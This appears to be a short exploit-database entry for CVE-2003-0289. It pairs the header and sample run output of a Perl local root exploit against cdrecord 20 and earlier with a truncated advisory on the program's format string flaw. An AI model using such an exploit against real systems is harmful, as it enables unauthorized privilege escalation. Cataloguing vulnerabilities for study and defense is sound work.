CVE-2003-0289

#!/usr/bin/perl ########################################################### # Cdrecord version 20 and < local root exploit # # # [wsxz@localhost buffer]$ perl priv8cdrpl 4 # Using target number 4 # Using Mr dtors 0x808c82c # Cdrecord 20 (i586-mandrake-linux-gnu) # # scsibus: -1 target: -1 lun: -1 # Warning: Open by 'devname' is ...

source: wwwsecurityfocuscom/bid/7565/info CDRecord has been reported prone to a format string vulnerability The issue presents itself due to a programming error that occurs when calling a printf-like function It has been reported that by harnessing an unsupported feature of the CDRecord utility, an attacker may supply format string spe ...